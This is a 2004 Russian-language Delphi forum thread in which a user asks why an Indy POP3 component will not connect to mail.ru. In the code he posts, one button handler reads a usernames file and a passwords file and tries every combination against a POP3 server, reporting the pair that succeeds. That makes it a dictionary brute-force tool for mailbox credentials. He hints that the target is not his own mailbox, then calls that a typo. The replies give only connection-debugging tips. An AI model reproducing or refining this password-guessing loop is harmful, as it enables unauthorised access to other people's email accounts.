Неконнектиться к pop3 .. в чём может быть проблема ?

← →
Федя Мегатронов (2004-05-18 00:13) [0]

С помощью компонента idPOP3 (indy) пытаюсь законнектиться к своей почте ... к серваку pop.mail.ru ... на 110 порт

пароль (idPOP31.Password) и логин (idPOP31.Username) указываю ...

потом делаю

try
idPOP31.Connect;
except;
end;

if ifPOP31.Connected
then
begin
ShowMessage("бла-бла");
idPOP31.Disconnect;
exit;
end;

компилю ... и нефига ... нажимаю "Коннектиться" ... интерфейс программы сначала начинает сильно тормозить .. потом может уйти в "не отвечает" .. но заветной надписи "бла-бла" так и не выводит ..

в чём может быть проблема ???

← →
Федя Мегатронов (2004-05-18 21:35) [1]

Удалено модератором

← →
Rouse_ © (2004-05-18 21:45) [2]

Ну во первых idAntiFreeze
а во вторых что за ошибка, ну и в третьих может быть прокси не пускает?

← →
Федя Мегатронов (2004-05-18 21:51) [3]

Антифриз стоит ...

в том-то и дело что ошибки никакой ... просто ничего не делает ...

прокси небыло ...

Из за фаирволла тоже не может быть .. я его отрубил совсем для этого ...

Зы может быть с антифризом что-то не так ?? я его просто добавил и всё .. может его настроить как-то надо ?

← →
Rouse_ © (2004-05-18 22:54) [4]

Приведи код...

← →
Федя Мегатронов (2004-05-18 23:19) [5]

unit MBUnit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, StdCtrls, IdAntiFreezeBase, IdAntiFreeze,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdPOP3;

type
TForm1 = class(TForm)
NamEd: TEdit;
PasEd: TEdit;
SerNamEd: TEdit;
PorEd: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
Button1: TButton;
Button2: TButton;
SaveDialog1: TSaveDialog;
Button3: TButton;
IdPOP31: TIdPOP3;
IdAntiFreeze1: TIdAntiFreeze;
Button4: TButton;
Label5: TLabel;
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
make : Boolean;
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.N2Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.N4Click(Sender: TObject);
begin
ShowMessage("АБАУТ");
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
If SaveDialog1.Execute
then
NamEd.Text := SaveDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
If SaveDialog1.Execute
then
PasEd.Text := SaveDialog1.FileName;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
NamStr, PasStr : TStrings;
i, j : Integer;
begin
Make := true;

NamStr := TStringList.Create;
PasStr := TStringList.Create;

if NamEd.Text = ""
then
begin
ShowMessage("Нету фаила с именами");
Exit;
end;

if PasEd.Text = ""
then
begin
ShowMessage("нету фаила с паролями");
Exit;
end;

if SerNamEd.Text = ""
then
begin
ShowMessage("неуказан POP3 сервер");
Exit;
end;

if PorEd.Text = ""
then
begin
ShowMessage("Не указан порт");
Exit;
end;

NamStr.LoadFromFile(NamEd.Text);
PasStr.LoadFromFile(PasEd.Text);

idPOP31.Host := SerNamEd.Text;
idPOP31.Port := StrToInt(PorEd.Text);

for i := 0 to NamStr.Count -1 do
for j := 0 to PasStr.Count -1 do
begin

if Make = false
then
begin
NamStr.Free;
PasStr.Free;
exit;
end;

Label5.Caption := IntToStr(j); //показывает сколько паролей уже перебрано

idPOP31.UserName := NamStr.Strings[i];
idPOP31.Password := PasStr.Strings[j];

try
idPOP31.Connect;
except
end;

if idPOP31.Connected
then
begin
Application.MessageBox(PChar("Логин:"+NamStr.Strings[i]+
"Пасс"+PasStr.Strings[j]), "Готово");
idPOP31.Disconnect;
Exit;
end;
end;

NamStr.Free;
PasStr.Free;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
Make := false;
end;

end.

вырезать ничего не стал ... малоли что 8)

← →
~ls © (2004-05-19 08:17) [6]

А просто вот так не пробывал?

idpop3.host:="pop.mail.ru";
idpop3.port=110;
idpop3.username:="mylogin";
idpop3.password:="mypassword";
idpop3.connect;

if idpop3.connected then showmessage("OK");

???

← →
Reindeer Moss Eater © (2004-05-19 09:18) [7]

потом делаю

try
idPOP31.Connect;
except;
end;

Замечательно делаешь.
Делаешь все, что бы не узнать причины ошибки.
Потом на форуме спрашиваешь, в чем ошибка.

try
idPOP31.Connect;
except;
on E:Exception do ShowMessage(E.Message)
end;

либо просто

idPOP31.Connect;

← →
Федя Мегатронов (2004-05-19 19:40) [8]

убрал Try ... он теперь долго висит, но потом пишет исключение в котором упоминаеться что пароль для этого логина якобы неверный ... но я это дело пробую не своём ящике 8) так что здесь что-то не так ...

С помощью компонента idPOP3 (indy) пытаюсь законнектиться к своей почте ...

упоминаеться что пароль для этого логина якобы неверный ... но я это дело пробую не своём ящике 8)

← →
Федя Мегатронов (2004-05-20 19:11) [10]

это подлая опечатка .. там должно быть написано НА СВОЁМ ящике

Неконнектиться к pop3 .. в чём может быть проблема ? Найти похожие ветки